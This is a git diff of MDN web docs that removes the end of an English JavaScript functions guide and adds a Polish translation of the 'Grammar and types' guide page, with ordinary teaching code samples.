In the code above, the name variable of the outer function is accessible to the inner functions, and there is no other way to access the inner variables except through the inner functions. The inner variables of the inner function act as safe stores for the inner functions. They hold "persistent", yet secure, data for the inner functions to work with. The functions do not even have to be assigned to a variable, or have a name.

- -
var getCode = (function(){
-  var secureCode = "0]Eal(eh&2";    // A code we do not want outsiders to be able to modify...
-
-  return function () {
-    return secureCode;
-  };
-})();
-
-getCode();    // Returns the secureCode
-
- -

There are, however, a number of pitfalls to watch out for when using closures. If an enclosed function defines a variable with the same name as the name of a variable in the outer scope, there is no way to refer to the variable in the outer scope again.

- -
var createPet = function(name) {  // Outer function defines a variable called "name"
-  return {
-    setName: function(name) {    // Enclosed function also defines a variable called "name"
-      name = name;               // ??? How do we access the "name" defined by the outer function ???
-    }
-  }
-}
-
- -

The magical this variable is very tricky in closures. They have to be used carefully, as what this refers to depends completely on where the function was called, rather than where it was defined.

- -

Using the arguments object

- -

The arguments of a function are maintained in an array-like object. Within a function, you can address the arguments passed to it as follows:

- -
arguments[i]
-
- -

where i is the ordinal number of the argument, starting at zero. So, the first argument passed to a function would be arguments[0]. The total number of arguments is indicated by arguments.length.

- -

Using the arguments object, you can call a function with more arguments than it is formally declared to accept. This is often useful if you don't know in advance how many arguments will be passed to the function. You can use arguments.length to determine the number of arguments actually passed to the function, and then access each argument using the arguments object.

- -

For example, consider a function that concatenates several strings. The only formal argument for the function is a string that specifies the characters that separate the items to concatenate. The function is defined as follows:

- -
function myConcat(separator) {
-   var result = "", // initialize list
-       i;
-   // iterate through arguments
-   for (i = 1; i < arguments.length; i++) {
-      result += arguments[i] + separator;
-   }
-   return result;
-}
-
- -

You can pass any number of arguments to this function, and it concatenates each argument into a string "list":

- -
// returns "red, orange, blue, "
-myConcat(", ", "red", "orange", "blue");
-
-// returns "elephant; giraffe; lion; cheetah; "
-myConcat("; ", "elephant", "giraffe", "lion", "cheetah");
-
-// returns "sage. basil. oregano. pepper. parsley. "
-myConcat(". ", "sage", "basil", "oregano", "pepper", "parsley");
-
- -
-

Note: The arguments variable is "array-like", but not an array. It is array-like in that is has a numbered index and a length property. However, it does not possess all of the array-manipulation methods.

-
- -

See the {{jsxref("Function")}} object in the JavaScript reference for more information.

- -

Function parameters

- -

Starting with ECMAScript 6, there are two new kinds of parameters: default parameters and rest parameters.

- -

Default parameters

- -

In JavaScript, parameters of functions default to undefined. However, in some situations it might be useful to set a different default value. This is where default parameters can help.

- -

In the past, the general strategy for setting defaults was to test parameter values in the body of the function and assign a value if they are undefined. If in the following example, no value is provided for b in the call, its value would be undefined  when evaluating a*b and the call to multiple would have returned NaN. However, this is caught with the second line in this example:

- -
function multiply(a, b) {
-  b = typeof b !== 'undefined' ?  b : 1;
-
-  return a*b;
-}
-
-multiply(5); // 5
-
- -

With default parameters, the check in the function body is no longer necessary. Now, you can simply put 1 as the default value for b in the function head:

- -
function multiply(a, b = 1) {
-  return a*b;
-}
-
-multiply(5); // 5
- -

Fore more details, see default parameters in the reference.

- -

Rest parameters

- -

The rest parameter syntax allows to represent an indefinite number of arguments as an array. In the example, we use the rest parameters to collect arguments from the second one to the end. We then multiply them by the first one. This example is using an arrow function, which is introduced in the next section.

- -
function multiply(multiplier, ...theArgs) {
-  return theArgs.map(x => multiplier * x);
-}
-
-var arr = multiply(2, 1, 2, 3);
-console.log(arr); // [2, 4, 6]
- -

Arrow functions

- -

An arrow function expression (also known as fat arrow function) has a shorter syntax compared to function expressions and lexically binds the this value. Arrow functions are always anonymous. See also this hacks.mozilla.org blog post: "ES6 In Depth: Arrow functions".

- -

Two factors influenced the introduction of arrow functions: shorter functions and lexical this.

- -

Shorter functions

- -

In some functional patterns, shorter functions are welcome. Compare:

- -
var a = [
-  "Hydrogen",
-  "Helium",
-  "Lithium",
-  "Beryl­lium"
-];
-
-var a2 = a.map(function(s){ return s.length });
-
-var a3 = a.map( s => s.length );
- -

Lexical this

- -

Until arrow functions, every new function defined its own this value (a new object in case of a constructor, undefined in strict mode function calls, the context object if the function is called as an "object method", etc.). This proved to be annoying with an object-oriented style of programming.

- -
function Person() {
-  // The Person() constructor defines `this` as itself.
-  this.age = 0;
-
-  setInterval(function growUp() {
-    // In nonstrict mode, the growUp() function defines `this`
-    // as the global object, which is different from the `this`
-    // defined by the Person() constructor.
-    this.age++;
-  }, 1000);
-}
-
-var p = new Person();
- -

In ECMAScript 3/5, this issue was fixed by assigning the value in this to a variable that could be closed over.

- -
function Person() {
-  var self = this; // Some choose `that` instead of `self`.
-                   // Choose one and be consistent.
-  self.age = 0;
-
-  setInterval(function growUp() {
-    // The callback refers to the `self` variable of which
-    // the value is the expected object.
-    self.age++;
-  }, 1000);
-}
- -

Predefined functions

- -

JavaScript has several top-level, built-in functions:

- -
-
{{jsxref("Global_Objects/eval", "eval()")}}
-
-

The eval() method evaluates JavaScript code represented as a string.

-
-
{{jsxref("Global_Objects/uneval", "uneval()")}} {{non-standard_inline}}
-
-

The uneval() method creates a string representation of the source code of an {{jsxref("Object")}}.

-
-
{{jsxref("Global_Objects/isFinite", "isFinite()")}}
-
-

The global isFinite() function determines whether the passed value is a finite number. If needed, the parameter is first converted to a number.

-
-
{{jsxref("Global_Objects/isNaN", "isNaN()")}}
-
-

The isNaN() function determines whether a value is {{jsxref("Global_Objects/NaN", "NaN")}} or not. Note: coercion inside the isNaN function has interesting rules; you may alternatively want to use {{jsxref("Number.isNaN()")}}, as defined in ECMAScript 6, or you can use typeof to determine if the value is Not-A-Number.

-
-
{{jsxref("Global_Objects/parseFloat", "parseFloat()")}}
-
-

The parseFloat() function parses a string argument and returns a floating point number.

-
-
{{jsxref("Global_Objects/parseInt", "parseInt()")}}
-
-

The parseInt() function parses a string argument and returns an integer of the specified radix (the base in mathematical numeral systems).

-
-
{{jsxref("Global_Objects/decodeURI", "decodeURI()")}}
-
-

The decodeURI() function decodes a Uniform Resource Identifier (URI) previously created by {{jsxref("Global_Objects/encodeURI", "encodeURI")}} or by a similar routine.

-
-
{{jsxref("Global_Objects/decodeURIComponent", "decodeURIComponent()")}}
-
-

The decodeURIComponent() method decodes a Uniform Resource Identifier (URI) component previously created by {{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent")}} or by a similar routine.

-
-
{{jsxref("Global_Objects/encodeURI", "encodeURI()")}}
-
-

The encodeURI() method encodes a Uniform Resource Identifier (URI) by replacing each instance of certain characters by one, two, three, or four escape sequences representing the UTF-8 encoding of the character (will only be four escape sequences for characters composed of two "surrogate" characters).

-
-
{{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent()")}}
-
-

The encodeURIComponent() method encodes a Uniform Resource Identifier (URI) component by replacing each instance of certain characters by one, two, three, or four escape sequences representing the UTF-8 encoding of the character (will only be four escape sequences for characters composed of two "surrogate" characters).

-
-
{{jsxref("Global_Objects/escape", "escape()")}} {{deprecated_inline}}
-
-

The deprecated escape() method computes a new string in which certain characters have been replaced by a hexadecimal escape sequence. Use {{jsxref("Global_Objects/encodeURI", "encodeURI")}} or {{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent")}} instead.

-
-
{{jsxref("Global_Objects/unescape", "unescape()")}} {{deprecated_inline}}
-
-

The deprecated unescape() method computes a new string in which hexadecimal escape sequences are replaced with the character that it represents. The escape sequences might be introduced by a function like {{jsxref("Global_Objects/escape", "escape")}}. Because unescape() is deprecated, use {{jsxref("Global_Objects/decodeURI", "decodeURI()")}} or {{jsxref("Global_Objects/decodeURIComponent", "decodeURIComponent")}} instead.

-
-
- -

{{PreviousNext("Web/JavaScript/Guide/Loops_and_iteration", "Web/JavaScript/Guide/Expressions_and_Operators")}}

diff --git a/files/pl/web/javascript/guide/grammar_and_types/index.html b/files/pl/web/javascript/guide/grammar_and_types/index.html new file mode 100644 index 0000000000..98e66063d0 --- /dev/null +++ b/files/pl/web/javascript/guide/grammar_and_types/index.html @@ -0,0 +1,595 @@ +--- +title: Składnia i typy +slug: Web/JavaScript/Guide/Składnia_i_typy +tags: + - JavaScript + - Poradnik +translation_of: Web/JavaScript/Guide/Grammar_and_types +--- +
{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Introduction", "Web/JavaScript/Guide/Control_flow_and_error_handling")}}
+ +

Ten rozdział porusza temat podstawowych elementów języka, takich jak składnia, deklaracje zmiennych, typy danych oraz literały. 

+ +

Podstawy

+ +

Składnia JavaScripta zapożycza wiele rozwiązań użytych w Javie, jednak w jej konstrukcji można zauważyć również wpływy języków takich jak Awk, Perl i Python

+ +

JavaScript jest językiem, w którym rozróżnialna jest wielkość liter, oraz wspierany jest standard znaków Unicode.

+ +

W JavaScripcie instrukcje nazywane są  {{Glossary("Wyrażenie", "wyrażeniami")}} i rozdzielane średnikiem (;). Spacje, tabulatury i znaki nowej linii zaliczają się do grupy tak zwanych znaków białych. Kod źródłowy skryptów napisanych w JavaScripcie skanowany jest przez interpreter od lewej do prawej i konwertowany w sekwencje elementów wejścia, które reprezentowane są przez tokeny, znaki kontrolne, znaki przerwania linii, komentarze i białe znaki. ECMAScript definiuje również zestaw słów kluczowych i literałów oraz zasady automatycznego umieszczania średników (ASI), tak by zakończyć dane wyrażenie, jednakże wykorzystywanie tej zasady wiąże się z efektami ubocznymi, dlatego zaleca się samodzielne umieszczanie średników. Więcej informacji na ten temat znajdziesz w szczegółowym opisie gramatyki języka. 

+ +

Komentarze

+ +

Składnia komentarzy jest identyczna jak ta używana w języku C++ oraz w wielu innych.

+ +
// Komentarz w jednej linii
+
+/* to jest dłuższy,
+   wieloliniowy komentarz
+ */
+
+/* Nie możesz jednak /* zagnieżdzać komentarzy */ SyntaxError */
+ +

Deklaracje 

+ +

W języku JavaScript występują trzy typy deklaracji.

+ +
+
{{jsxref("Statements/var", "var")}}
+
Deklaruje zmienną, opcjonalnie inicjalizując ją podaną wartością.
+
{{experimental_inline}} {{jsxref("Statements/let", "let")}}
+
Deklaruje zmienną lokalną, ograniczoną do bloku w którym jest zawarta, opcjonalnie inicjalizując ją podaną wartością. 
+
{{experimental_inline}} {{jsxref("Statements/const", "const")}}
+
Deklaruje zmienną stałą tylko do odczytu. 
+
+ +

Zmienne

+ +

Możesz używać zmiennych jako symbolicznych nazw oraz wartości w swojej aplikacji. Nazwy zmiennych są wtedy nazywane {{Glossary("Identyfikator", "identyfikatorami")}} i podlegają pewnym regułom. 

+ +

W języku JavaScript indentyfikator musi rozpoczynać się od litery, podkreślnika(_) lub symbolu dolara ($). Pozostałe znaki w indetyfikatorze mogą być także cyframi(0-9). Ponieważ JavaScript rozróżnia wielkość liter, znaki jakich możemy użyć jako nazw identyfikatora mogą być zarówno wielkimi (A-Z; uppercase) jak i małymi (a-z; lowercase) literami alfabetu. 

+ +

Możesz również użyć ISO 8859-1 lub znaków Unicodu dla liter takich jak å i  ü. Możesz także użyć symboli graficzne definiowanych przez Unicode jako znaków identyfikatora.

+ +

Przykładowymi nazwami zmiennych, z których możemy bezpiecznie korzystać są Number_hits, temp99, oraz _name.

+ +

Deklarowanie zmiennych

+ +

Zmienną możemy deklarować na trzy sposoby:

+ + + +

Ewaluacja zmiennych

+ +

Zmienna deklarowana przy użyciu var lub let, której nie przypiszemy początkowej wartości przyjmie automatycznie wartość {{jsxref("undefined")}}.

+ +

W poniższym przykładzie chcemy uzyskać dostęp do niezadeklarowanej zmiennej, co skutkować będzie błędem  {{jsxref("ReferenceError")}}:

+ +
var a;
+console.log("The value of a is " + a); // W konsoli pojawi się komunikat "The value of a is undefined"
+console.log("The value of b is " + b); // wyrzuci wyjątek ReferenceError
+
+ +

Możesz użyć wartości undefined do sprawdzenia czy dana zmienna posiada jakąś wartość. W poniższym kodzie zmienna input nie posiada przypisanej wartości, dlatego instrukcja if zwróci nam wartość true.

+ +
var input;
+if(input === undefined){
+  doThis();
+} else {
+  doThat();
+}
+
+ +

Wartość undefined zachowuje się jak false, kiedy używana jest w kontekście funkcji boolowskich. W poniższym przykładzie kod zawarty w instrukcji if zostanie uruchomiony, ponieważ żądany element nie istnieje w tej tablicy.

+ +
var myArray = [];
+if (!myArray[0]) myFunction();
+
+ +

Wartość undefined konwertowana jest do wartości NaN kiedy używana jest w kontekście numerycznym. 

+ +
var a;
+a + 2; // ewaluacja do NaN
+ +

Kiedy ewaluowana jest zmienna typu {{jsxref("null")}}, zachowuje się ona jak 0 w kontekście numerycznym i jako false w kontekście funkcji boolowskich. Ilustruje to poniższy przykład. 

+ +
var n = null;
+console.log(n * 32); // zaloguje 0 w konsoli
+
+ +

Zasięg zmiennej

+ +

Zmienna, którą zadeklarujemy poza funkcją nazywana jest zmienną globalną, ponieważ jest ona dostępna z każdego miejsca w naszym kodzie. Jeżeli zmienna deklarowana jest wewnątrz funkcji, nazwana jest wtedy lokalną, ponieważ używać jej możemy tylko i wyłączenie w ciele tej funkcji. 

+ +

JavaScript przed wersją ECMAScript 6 nie posiadał zasięgu blokowego, zamiast tego zmienna zadeklarowana w danym bloku była funkcją lokalną dla tej funkcji (lub zasięgu globalnego). Dla przykladu poniższy kod pokaże nam wartość 5, ponieważ zasięgiem zmiennej x jest funkcja, w której została ona zdefiniowana, a nie blok, którym w tym przypadku jest funkcja if

+ +
if (true) {
+  var x = 5;
+}
+console.log(x);  // 5
+
+ +

Zachowanie zmieni się, kiedy użyjemy deklaracji let wprowadzonej w standardzie ECMAScript 6.

+ +
if (true) {
+  let y = 5;
+}
+console.log(y);  // ReferenceError: y is not defined
+
+ +

Podnoszenie zmiennych

+ +

Kolejną niecodzienną rzeczą, na którą natkniemy się pracując z JavaScript'em jest fakt, że bez żadnego błędu możemy uzyskać dostęp do zmiennych, które zadeklarowane są dalej w naszym skrypcie. Ta koncepcja zwana jest podnoszeniem lub windowaniem (ang. hoisting), ponieważ zmienne są niejako wyciągane do góry wyrażenia. Nie możemy jednak używać w ten sposób zmiennych, które nie zostały zinicjalizowane, ponieważ zwrócą one wartość undefined

+ +
/**
+ * Przykład 1
+ */
+console.log(x === undefined); // Zwróci nam wartość "true"
+var x = 3;
+
+/**
+ * Przykład 2
+ */
+// zwróci wartość undefined
+var myvar = "my value";
+
+(function() {
+  console.log(myvar); // undefined
+  var myvar = "local value";
+})();
+
+ +

Powyższe przykłady intepretowane będą tak samo jak:

+ +
/**
+ * Przykład 1
+ */
+var x;
+console.log(x === undefined); // Zwaraca wartość "true"
+x = 3;
+
+/**
+ * Przykład 2
+ */
+var myvar = "my value";
+
+(function() {
+  var myvar;
+  console.log(myvar); // undefined
+  myvar = "local value";
+})();
+
+ +

Przez podnoszenie wszystkie zmienne deklarowane poprzez użycie var, w miarę możliwości powinny być umieszczane na górze funkcji. Zwiększa to czytelność kodu i traktowane jest jako dobra praktyka. 

+ +

W ECMAScript 2015 let (const) nie zostaną podniesione na górę bloku kodu. Jednak odwołanie do zmiennej, w bloku przed zadeklarowanymi, da w rezultacie ReferenceError. Zmienne będą w tzw. "tymczasowej martwej strefie" od początku bloku aż do stwierdzenia są przetwarzane.

+ +
function do_something() { console.log(foo); // ReferenceError let foo = 2; }
+ +

Zmienne globalne

+ +

Zmienne globalne są w istocie właściwością obiektu globalnego. W przypadku stron internetowych obiektem tym jest {{domxref("window")}}, co pozwala na wykorzystywanie i manipulowanie zmiennymi globalnymi za pomocą składni window.variable.

+ +

Pozwala to także na wykorzystywanie zmiennych globalnych zadeklarowanych w jednym oknie przez inne okno, poprzez jego nazwę. Na przykład zmienną phoneNumber zadeklarowaną w jednym dokumencie, możemy uzyskać poprzez wykorzystanie parent.phoneNumber.

+ +

Stałe

+ +

Możesz także tworzyć zmienne tylko do odczytu, zwane zmiennymi stałymi poprzez wykorzystywanie slowa kluczowego {{jsxref("Statements/const", "const")}}. Składnia identyfikatora stałego jest taka sama jak identyfikatora zmiennej. Musi zaczynać się od litery, podkreślnika lub symbolu dolara i może zawierać cyfry i znaki alfabetu. 

+ +
const prefix = '212';
+
+ +

Zmienna nie może zostać ponownie zadeklarowana lub przyjąć nowej wartości kiedy działa nasz skrypt. Możemy to zrobić jedynie przy jej inicjalizacji.

+ +

Zasady zasięgu są dla niej takie same jak dla zmiennych tworzonych z użyciem let. Jeżeli pominiemy słowo kluczowe const identyfikator będzie intepretowany jako reprezentacja zmiennej.

+ +

Limitacją dla stałych jest fakt, że nie możemy zadeklarować takiej, która wykorzystuje nazwę występującą już jako identyfikator zmiennej lub funkcji w tym samym bloku. Zachowanie to ilustruje poniższy przykład.

+ +
// SPOWODUJE TO WYRZUCENIE BŁĘDU
+function f() {};
+const f = 5;
+
+// TO RÓWNIEŻ SPOWODUJE BŁĄD
+function f() {
+  const g = 5;
+  var g;
+
+  //instrukcje
+}
+
+ +

Jednak atrybuty obiektu nie są chronione, , object attributes are not protected, więc następujące wyrażenie zostanie wykonywane bez problemów.

+ +
const MY_OBJECT = {"key": "value"};
+MY_OBJECT.key = "otherValue";
+
+ +

Struktury i typy danych

+ +

Typy danych

+ +

Najnowszy standard ECMAScript definiuje siedem typów danych:

+ + + +

Mimo, że typów danych w javascript jest stosunkowo niewiele, pozwalają one na tworzenie  użytecznych funkcji.

+ +

Konwersja typów danych

+ +

JavaScript jest językiem dynamicznie typowanym. Oznacza to, że nie musimy deklarować typu zmiennej, ponieważ jest on automatycznie konwertowany do porządanych wartości w czasie wykonywania się skryptu. Przykładowo możemy zdefniniować zmienną w podany sposób:

+ +
var answer = 42;
+
+ +

A później przypisać do tej samej zmiennej kawałek typu string: 

+ +
answer = "Dzięki za wszystko...";
+
+ +

To przypisanie nie wywołuje błędu, gdyż typ danych został ustalony dynamicznie. 

+ +

W wyrażeniach, w których tekst mieszany jest z liczbami za pomocą operatora "+" JavaScript konwertuje wartości liczbowe do ciągu znaków. Ilustruje to poniższy przykład:

+ +
x = "Odpowiedź to " + 42 // "Odpowiedź to 42"
+y = 42 + " jest odpowiedzią" // "42 jest odpowiedzią"
+
+ +

W przypadku użycia innych operatorów JavaScript nie używa powyższej metody, ale konwertuje je automatycznie próbując sparować dwie zmienne. 

+ +
"37" - 7 // 30
+"37" + 7 // "377"
+
+ +

Konwersja do typu number

+ +

W przypadku kiedy w pamięci programu przechowujemy liczbę pod postacią łancucha znaków możemy posłużyć się poniższymi metodami konwersji:

+ + + +

parseInt zwróci nam liczbę całkowitą, dobrą praktyką w przypadku zamiany z użyciem tej funkcji jest specyzowanie podstawy, która informuje o tym jaki system liczbowy został przez nas przyjęty.

+ +

Alternatywną metodą konwersji jest użycie operatora "+", który działa zarówno z typem string jak i boolean.

+ +
"1.1" + "1.1" = "1.11.1"
+(+"1.1") + (+"1.1") = 2.2
+// Notka: Cudzyslowy uzyte sa dla zwiekszenia czytelnosci, nie sa one wymagane
+
+ +

Literały

+ +

Literałów używa się w celu przedstawiania wartości w języku JavaScript. Są one ustalonymi wartościami (a nie zmiennymi), które dosłownie podajesz w swoim skrypcie. Ten fragment opisuje następujące typy literałów:

+ + + +

Literały tablicowe

+ +

Literał tablicowy jest listą składającą się z zera lub większej liczby wyrażeń, gdzie każde z nich reprezentuje element tablicy i zamknięty jest w nawiasach kwadratowych. Tablica tworzona za pomocą literału tablicowego zostaje zainicjalizowana podanymi wartościami, które stają się jej elementami, a długość tablicy ustalona zostaje według liczby podanych argumentów.

+ +

Poniższy przykład tworzy tablicę długości trzy,  o nazwie kawy, w której umieszczone zostają trzy elementy:

+ +
kawy = ["Arabica", "Columbiana", "Zbożowa"]
+
+ +

Uwaga Literał tablicowy jest typem inicjalizatora obiektu. Zobacz Używanie inicjalizatorów obiektu.

+ +

Jeśli tablica została utworzona przy pomocy literału w skrypcie najwyższego poziomu, JavaScript interpretuje tablicę za każdym razem, gdy przelicza wyrażenie zawierające literał tablicowy. Dodatkowo taki literał, kiedy zostaje użyty w funkcji tworzony jest przy każdym jej wywołaniu.

+ +

Literały tablicowe są także obiektami typu Array. Zobacz obiekt Array, aby uzyskać więcej informacji o obiektach Array.

+ +

Dodatkowe przecinki w literalach tablicowych

+ +

W chwili inicjalizacji nie musisz deklarować wszystkich elementów tablicy. Jeżeli umieścisz następujące po sobie dwa przecinki, w miejscu pustego miejsca wstawiona będzie wartość undefined. W poniższym przykładzie tworzymy tablice o nazwie ryby:

+ +
ryby = ["Piła", , "Młot"]
+
+ +

Tablica ta posiada dwa elementy z wartościami i jeden pusty (wywołanie ryby[0] zwróci nam "Piła", wartość ryby[1] jest niezdefiniowana, a ryby[2] zwróći "Młot"):

+ +

W przypadku kiedy pozostawiamy przecinek na końcu listy, jest on ignorowany.  (Uwaga: przecinki pozostawione na końcu listy mogą powodować błędy w starszych przeglądarkach i zalecane jest ich usuwanie). W poniższym przypadku długośc tablicy to trzy ponieważ nie istnieje element mojaLista[3]. Wszystkie inne przecinki w liście wskazują nowy element.

+ +
var mojaLista = ['dom', , 'szkola', ];
+
+ +

W poniższym przykładzie długość tablicy wynosi cztery, a elementy niezefiniowane występują pod indeksami 0 i 2.

+ +
var mojaLista = [ , 'dom', , 'szkola'];
+
+ +

W poniższym przykładzie tablica jest dlugości cztery, brakuje w niej zdefiniowanych elementów  mojaLista[1] oraz mojaLista[3]. Zignorowany zostaje jedynie ostatni przecinek.

+ +
var mojaLista = ['dom', , 'szkola', , ];
+
+ +

Zrozumienie zachowania dodatkowych przecinków jest bardzo ważne w procesie nauki języka JavaScript, jednocześnie zalecanym podejściem jest jawne deklarowanie brakujących elementów jako undefined, co pomaga zwiększyć czytelność kodu, ułatwia jego utrzymanie oraz wprowadzanie zmian w przyszłości.

+ +

Literały boolowskie

+ +

Typ Boolowski posiada dwie wartości literałowe: true oraz false

+ +

Jednakże nie należy mylić tego z wartościami true oraz false, które są wartościami obiektu, ponieważ jest on jedynie reprezentacją prymitywnego typu danych. Więcej na ten temat możemy znaleźć w dokumentacji typu {{jsxref("Boolean")}}. 

+ +

Literały całkowite

+ +

Literały całkowite mogą być wyrażane w systemie decymalnym (baza 10), heksadecymalnym (baza 16), oktalnym (baza 8) oraz binarnym (baza 2).

+ + + +

Posłużymy się kilkoma przykładami literałów całkowitych:

+ +
0, 117 and -345 (dziesietne, baza 10)
+015, 0001 and -077 (oktalne, baza 8)
+0x1123, 0x00111 and -0xF1A7 (heksadecymalne, "hex" or baza 16)
+
+ +

By zasięgnąc informacji przejdź do działu Numeric literals in the Lexical grammar reference.

+ +

Literały zmiennoprzecinkowe

+ +

Literały zmiennoprzecinkowe mogą zawierać poniższe elementy:

+ + + +

Wykładnik potęgi oznaczami małą lub wielką literą "e", a następnie liczbą całkowitą która także może zawierać znak "+" lub "-". Literał zmiennoprzecinkowy musi zawierać conajmniej jedną cyfre oraz przecinek wymiennie z literą "e" (lub "E"). 

+ +

Przykładowymi literałamy zmiennoprzecinkowymi są  3.1415, -3.1E12, .1e12, oraz 2E-12.

+ +

Ogólna składnia wyrażenia przedstawiona jest na poniższym przykładzie: :

+ +
[(+|-)][digits][.digits][(E|e)[(+|-)]digits]
+
+ +

Na przykład:

+ +
3.14
+2345.789
+.3333333333333333333
+-.283185307179586
+
+ +

Literały obiektowe

+ +

Literałem obiektowym nazywamy listę złożoną z zera lub większej ilości par indeks - wartość, zamkniętych w nawiasy klamrowe ({}). Należy pamiętać by nie używać literałów obiektowych na początku wyrażeń, gdyż może to spowodować błąd programu lub zachowanie którego nie możemy przewidzieć. Jest to wynikiem zachowania intepretera, który odczyta otwierający nawias klamrowy jako początek bloku. 

+ +

W poniższym przykładzie ilustrujemy literał obiektowy tworząc go i przypisując do zmiennej  samochod, następnie definiujemy element mojSamochod, którego wartośc ustalamy na "Saturn", do drugiego elementu przypisujemy wynik wywołania funkcji TypSamochodu("Honda"), a trzeci element specjalizacja reprezentuje wcześniej zainicjalizowaną zmienną Sprzedaz.

+ +
var Sprzedaz = "Toyota";
+
+function TypSamochodu(nazwa) {
+  if (nazwa == "Honda") {
+    return nazwa;
+  } else {
+    return "Niestety nie sprzedajemy samochodow marki" + " + nazwa + ".";
+  }
+}
+
+var samochod = { mojSamochod: "Saturn", znajdzSamochod: TypSamochodu("Honda"), specializacja: Sprzedaz };
+
+console.log(samochod.mojSamochod);   // Saturn
+console.log(samochod.znajdzSamochod);  // Honda
+console.log(samochod.specjalizacja); // Toyota
+
+ +

Dodatkowo możemy użyć literału numerycznego lub znakowego jako własności obiektu, a także zagnieżdzać je jeden w drugim. Poniższy przykład ilustruje użycie tych metod.

+ +
var samochod = { wieleSamochodow: {a: "Saab", "b": "Jeep"}, 7: "Mazda" };
+
+console.log(samochod.wieleSamochodow.b); // Jeep
+console.log(samochod[7]); // Mazda
+
+ +

Własności obiektu mogą być reprezentowane przez łańcuch znaków, także pusty. Jeżeli jego nazwa nie byłaby prawidłowym identifikatorem JavaScript musi być ujęta w cudzysłowach.

+ +

Nazwy własności które nie są prawidłowe nie mogą być dostępne za pomocą operatora kropki (.), natomiast można je wywołać oraz zmieniać dzięki wykorzystaniu notacji tablicowej ("[]").

+ +
var niestandardoweNazwyWlasnosci = {
+  "": "Pusty lancuch",
+  "!": "Bang!"
+}
+console.log(niestandardoweNazwyWlasnosci."");   // SyntaxError: Unexpected string
+console.log(niestandardoweNazwyWlasnosci[""]);  // Pusty lancuch
+console.log(niestandardoweNazwyWlasnosci.!);    // SyntaxError: Unexpected token !
+console.log(niestandardoweNazwyWlasnosci["!"]); // Bang!
+ +

Warto zapamiętać:

+ +
var foo = {a: "alfa", 2: "dwa"};
+console.log(foo.a);    // alfa
+console.log(foo[2]);   // dwa
+//console.log(foo.2);  // Error: missing ) after argument list
+//console.log(foo[a]); // Error: a is not defined
+console.log(foo["a"]); // alfa
+console.log(foo["2"]); // dwa
+
+ +

Literały RegExp

+ +

Literały regex są szablonem zamkniętym pomiędzy ukośnikami. Poniższy przykład obrazuje regex.

+ +
var re = /ab+c/
+ +

Literały łańcuchowe

+ +

Literałem łancuchowym nazywamy zero lub więcej pojedyńczych znaków ujętych w podwójny (") lub pojedyńczy (') cudzysłów. Należy pamiętać by otwarcie i zamnięcie łańcucha zostało wyrażone za pomocą tego samego wariantu. Przykłady literałów łańcuchowych:

+ + + +

Na literale łancuchowym możemy wywołać wszystkie metody jakich moglibyśmy użyć na obiekcie tego typu, ponieważ JavaScript automatycznie konwertuje literał do tymczasowego obiektu, na którym zostaje wywołana metoda a następnie jest on niszczony. Przykładem wykorzystania tej możliwości jest wywołanie String.length :

+ +
console.log("John's cat".length)
+// Wypisze ilość symboli użytych w łancuchu łącznie z białymi znakami
+// W tym przypadku zwróconą wartością jest 10.
+
+ +

Używanie literałów jest korzystniejsze dla wydajności naszych programów, dlatego jeżeli zaawansowane metody obiektu typu String nie są nam potrzebne powinniśmy pozostać przy ich wykorzystaniu. Więcej informacji na ten temat dostępne jest w dokumentacji obiektu {{jsxref("String")}}

+ +

Używanie specjalnych znaków w łańcuchach

+ +

W dodatku to podstawowych znaków w łancuchach możemy umieszczać zdefiniowane znaki specjalne, co ilustruje poniższy przykład.

+ +
"jedna linia \n akolejna linia"
+
+ +

Poniższa tabela pokazuje zestaw znaków które możemy wykorzystyć.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Tabela 2.1 Specjalne znaki w języku JavaScript
ZnakZnaczenie
\0Null Byte
\bBackspace
\fForm feed
\nNowa linia
\rPowrót wózka
\tTabulatura
\vWertykalna tabulatura
\'Apostrof lub pojedyńczy cudzysłów
\"Podwójny cudzysłów
\\Backslash
\XXXZnak zakodowany w formacie Latin-1 składający się z trzech znaków w systemie oktalnym, z przedzialu od 0 do 377. Przykładowo, sekwencja \251 reprezentuje symbol praw autorskich.
\xXXZnak zakodowany w formacie Latin-1 składający się z dwóch znaków w systemie heksadecymalnym, z przedzialu od 00 do FF. Przykładowo, sekwencja \xA9 reprezentuje symbol praw autorskich
\uXXXXZnak w formacie Unicode wyznaczony przez cztery liczby w formacie heksadecymalnym. Przykładowo \u00A9 w tym formacie reprezentuje symbol praw autorskich, więcej informacji na ten temat znajdziesz w  {{anch("Unicode escape sequences")}}.
+ +

Unikanie znaków

+ +

Dla znaków, które nie zostały wylistowane w Tabeli 2.1 poprzedzające je ukośnik jest ignorowany, jednakże jest to  zachowanie  przestrarzałe i należy go unikać. 

+ +

By zachować znaki specjalne w łańcuchu należy poprzedzić je ukośnikiem, ta funkcjonalność znana jest jako unikanie znaków. Przykładowo:

+ +
var cytat = "On przeczytał \"Kremacje Sama McGee\" autorstwa R.W. Service.";
+console.log(cytat);
+
+ +

Rezultatem uruchomienia powyższego kodu jest: 

+ +
On przeczytał "Kremacje Sama McGee" autorstwa R.W. Service.
+
+ +

By zawrzeć w naszym programie ukośnik należy poprzedzić go drugim ukośnikiem, który spowoduje uniknięcie następującego go znaku. Przykładowo jeżeli chcemy przypisać do zmiennej ścieżkę  c:\temp musimy posłużyć się poniższym zapisem: 

+ +
var sciezka = "c:\\temp";
+
+ +

Możemy w ten sposób także  opuszczać znak końca linii, który zostanie usunięty z wartości zwróconej ze zmiennej .

+ +
var str = "ten lancuch \
+jest rozbity \
+na wiele \
+linii."
+console.log(str);   // ten lancuch jest rozbity na wiele linii.
+
+ +

Pomimo tego że natywnie JavaScript nie oferuje składni "heredoc" możemy zasymulować ją poprzed dodanie znaku końca linii i opuszczenie automatycznie dodawanego znaku: 

+ +
var poem =
+"Na górze róże,\n\
+na dole fiołki.\n\
+Ale z was piękne,\n\
+są aniołki."
+
+ +

Więcej informacji

+ +

Ten rozdział skupia się na podstawowych własnościach składni umożliwiającej deklaracje i posługiwanie się typami. By dowiedzieć się więcej na temat konstrukcji dozwolonych w języku JavaScript odwiedź poniższe rozdziały w tym przewodniku: 

+ + + +

